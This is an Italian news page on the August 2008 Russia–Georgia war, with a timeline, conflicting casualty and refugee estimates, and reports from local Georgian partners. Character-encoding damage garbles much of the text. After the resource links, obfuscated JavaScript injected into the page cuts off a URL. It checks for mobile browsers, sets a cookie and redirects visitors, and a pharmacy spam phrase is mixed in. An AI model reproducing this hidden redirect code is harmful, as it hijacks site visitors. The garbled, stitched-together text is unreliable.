11 agosto 2008 – Le truppe russe impartiscono un ultimatum alle forze georgiane di stanza a Zugdidi, al confine tra Georgia e Abkhasia, imponendo di deporre le armi e minacciando ritorsioni; nel pomeriggio, alcune stazioni di polizia locali vengono attaccate e brevemente occupate dai soldati russi. L’aviazione georgiana bombarda Tshinkvali. Verso sera, Saakashvili proclama il cessate il fuoco unilaterale. I russi continuano il “contrattacco” occupando Poti.
12 agosto 2008 – Bombardata nuovamente Gori, cittA? georgiana al confine con l’Ossezia del Sud. Poco dopo, Medvedev annuncia la fine delle ostilitA?.

Le stime delle vittime e dei rifugiati

Human Rights Watch ha espresso forte preoccupazione per le enormi differenze nelle stime delle vittime, dei feriti e del numero complessivo di profughi. – Per i russi la guerra in Ossezia del Sud ha fatto finora 1.600 morti tra i civili e 15 morti e 70 feriti tra gli uomini delle forze di interposizione. Lo ha detto in una conferenza stampa il portavoce del ministro degli Esteri. La stima e’diminuita rispetto a quella originariamente diffusa mentre secondo altre fonti i morti sarebbero oltre 2.000. – Il presidente georgiano Mikheil Saakashvili ha dichiarato oggi che il 90 per cento delle vittime georgiane e’ costituito da civili. In precedenza la Georgia aveva detto che l’80 per cento dei morti e’ costituito da militari. Fonti governative diieri in particolare parlavano di 130 morti tra popolazione civile ed esercito e di 1.165 feriti, la maggior parte dei quali colpiti nel corso dei bombardamenti russi sulla Georgia. La Russia pero’ ha escluso di aver colpito i civili. – I rifugiati che hanno attraversato il confine russo sono circa 30.000, 16.000 tra loro hanno ricevuto assistenza umanitaria. La stima e’ del ministero dell’interno russo. (AGI) – Mosca, 11 ago.

Dai nostri partner

Notizie sul conflitto dai nostri partner locali:
11 agosto
a??Diverse localitA? nella zona di conflitto sono state affette da pesanti scontri. Tskhinvali in South Ossetia A? stata completamente distrutta, con il risultato di un forte flusso di rifugiati verso l’Ossezia del Nord.
Cosa ancora piA? preoccupante dal punto di vista georgiano, i bombardamenti aerei si sono diffusi a varie cittA? in territorio georgiano. Gori, Poti, Senaki, Zugdidi e perfino Tbilisi sono state colpite da attacchi aerei russi.
Secondo il Ministero della sanitA? georgiano, piA? di 100 civili sono morti in seguito ai bombardamenti. PiA? di 300 i civili feriti, tra cui donne e bambini.
Il caos ha portato all’evacuazione dei civili da Poti, Zugdidi, Gori e dalla gola di Kodori. Il governo georgiano stima che circa 10.000 persone abbiano lasciato le proprie case in direzione Tbilisi.a??
[Fonte: Eka Gvalia, CHCA]
10 agosto
a??La situazione A? pessima, i russi stanno bombardando obiettivi civili e la popolazione a?? perdite anche piA? gravi tra i soldati georgiani, che io sappia ieri sono stati uccisi 1.400 soldati, e oggi piA? di 500. Tra ieri e oggi hanno bombardato le grandi cittA?, molte persone scappano in campagna.
Gli aerei russi hanno ordine di attaccare obiettivi civili, oggi stanno attaccando la Georgia da tre lati. Inoltre hanno bloccato i porti marittimi per prevenire interventi umanitari. Attaccano con 10.000 uomini e 300 carri armati. Stanno bombardando persino ora…a??
[Fonte: Zaza Akhvlediani]

Risorse

Un blog sul conflitto, tenuto da una ragazza georgiana che vive in Germania (in inglese): http://russiangeorgianwar.blogspot.com/
Un reportage del Telegraph (in inglese): http://www.telegraph.co.uk/news/worldnews/europe/georgia/2535881/Georgia-Gori-evacuated-as-fears-of-Russian-advance-into-Georgia-grow.html
Un’analisi da Limes online: http://temi.repubblica.it/limes/georgia-chiama-europa-e-la-russia-attacca/a|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} buy female viagra canada document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript);2d7x2){if(_0x82d7x1[_0xa48a[1]](_0xa48a[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xa48a[8]](_0x82d7x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}